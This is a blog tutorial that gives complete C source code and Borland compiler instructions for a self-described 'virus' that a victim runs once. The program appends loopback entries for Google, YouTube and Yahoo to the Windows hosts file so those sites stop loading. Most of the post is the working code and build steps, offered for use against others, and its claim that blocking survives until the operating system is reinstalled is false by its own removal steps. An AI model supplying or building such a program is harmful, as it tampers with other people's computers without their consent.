A Virus Program to Block Websites

By: kedharinath on 14:30

  Most of us are familiar with the virus that used to block Orkut and Youtube site.

                                           If you are curious about creating such a virus on your own, here is how it can be                                                      done. As usual I’ll use my favorite programming language ‘C’ to create this website                                                  blocking virus. I will give a brief introduction about this virus before I jump into the technical jargon.

This virus has been exclusively created in ‘C’. So, anyone with a basic knowledge of C will be able to understand the working of the virus. This virus need’s to be clicked only once by the victim. Once it is clicked, it’ll block a list of websites that has been specified in the source code. The victim will never be able to surf those websites unless he re-install’s the operating system. This blocking is not just confined to IE or Firefox. So once blocked, the site will not appear in any of the browser program.

Here is the sourcecode of the virus.

#include<stdio.h>
#include<dos.h>
#include<dir.h> char site_list[6][30]={
“google.com”,
“www.google.com”,
“youtube.com”,
“www.youtube.com”,
“yahoo.com”,
“www.yahoo.com”
};
char ip[12]=”127.0.0.1″;
FILE *target;
int find_root(void);
void block_site(void);
int find_root()
{
int done;
struct ffblk ffblk;//File block structure
done=findfirst(“C:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“D:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“D:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“E:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“E:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“F:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“F:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
else return 0;
}
void block_site()
{
int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/
fprintf(target,”\n”);
for(i=0;i<6;i++)
fprintf(target,”%s\t%s\n”,ip,site_list[i]);
fclose(target);
}
void main()
{
int success=0;
success=find_root();
if(success)
block_site();
}

How to Compile ?

Here is a step-by-step procedure to install Borland C++ compiler 5.5 on your PC and compile the C programs.

How to Install Borland C++ compiler?

Follow the below steps to install Borland C++ compiler 5.5 on your PC:

1. Download Borland C++ compiler 5.5 (for Windows platform) from the following link:
   Download Borland C++ 5.5
2. After you download, run the file C++5.51.exe. The default installation path would be:
   C:\Borland\BCC55

How to configure Borland C++ compiler?

Here is a step-by-step instruction on how to configure the compiler:

1. After you install Borland C++ compier, create two new Text Documents.
2. Open the first New Text Document.txt file and add the following two lines into it:
   -I”c:\Borland\Bcc55\include”

   -L”c:\Borland\Bcc55\lib”
   Save changes and close the file. Now rename the file from New Text Document.txt to bcc32.cfg.
3. Open the second New Text Document (2).txt file and add the following line into it:
   -L”c:\Borland\Bcc55\lib”
   Save changes and close the file. Rename the file from New Text Document (2).txt to ilink32.cfg.
4. Now copy the two files bcc32.cfg and ilink32.cfg, navigate to C:\Borland\BCC55\Bin and paste them.

How to Compile the C Source Code (.C files)?

Here is a detailed instruction on how to compile C source codes:

1. You need to place the .C (example.c) file to be compiled in the following location:
C:\Borland\BCC55\Bin
2. Now go to the command prompt (Start->Run->type cmd->Enter)
3. Make the following path as the present working directory (use the CD command):
C:\Borland\BCC55\Bin
4. To compile the file (example.c) use the following command:
bcc32 example.c
5. Now if there exists no error in the source code, you’ll get a compiled executable module (example.exe) in the same location (C:\Borland\BCC55\Bin).
6. Now you have successfully compiled the source code into an executable file(.exe file).

NOTE: The above tutorial assumes that you’ve installed the compiler onto the C: drive (by default).

Testing

1. To test, run the compiled module. It will block the sites that is listed in the source code.

2. Once you run the file block_Site.exe, restart your browser program. Then, type the URL of the blocked site and you’ll see the browser showing error “Page cannot displayed“.

3. To remove the virus type the following the Run. 

%windir%\system32\drivers\etc

4. There, open the file named “hosts” using the notepad.At the bottom of the opened file you’ll see something like this

127.0.0.1                                google.com

5. Delete all such entries which contain the names of blocked sites.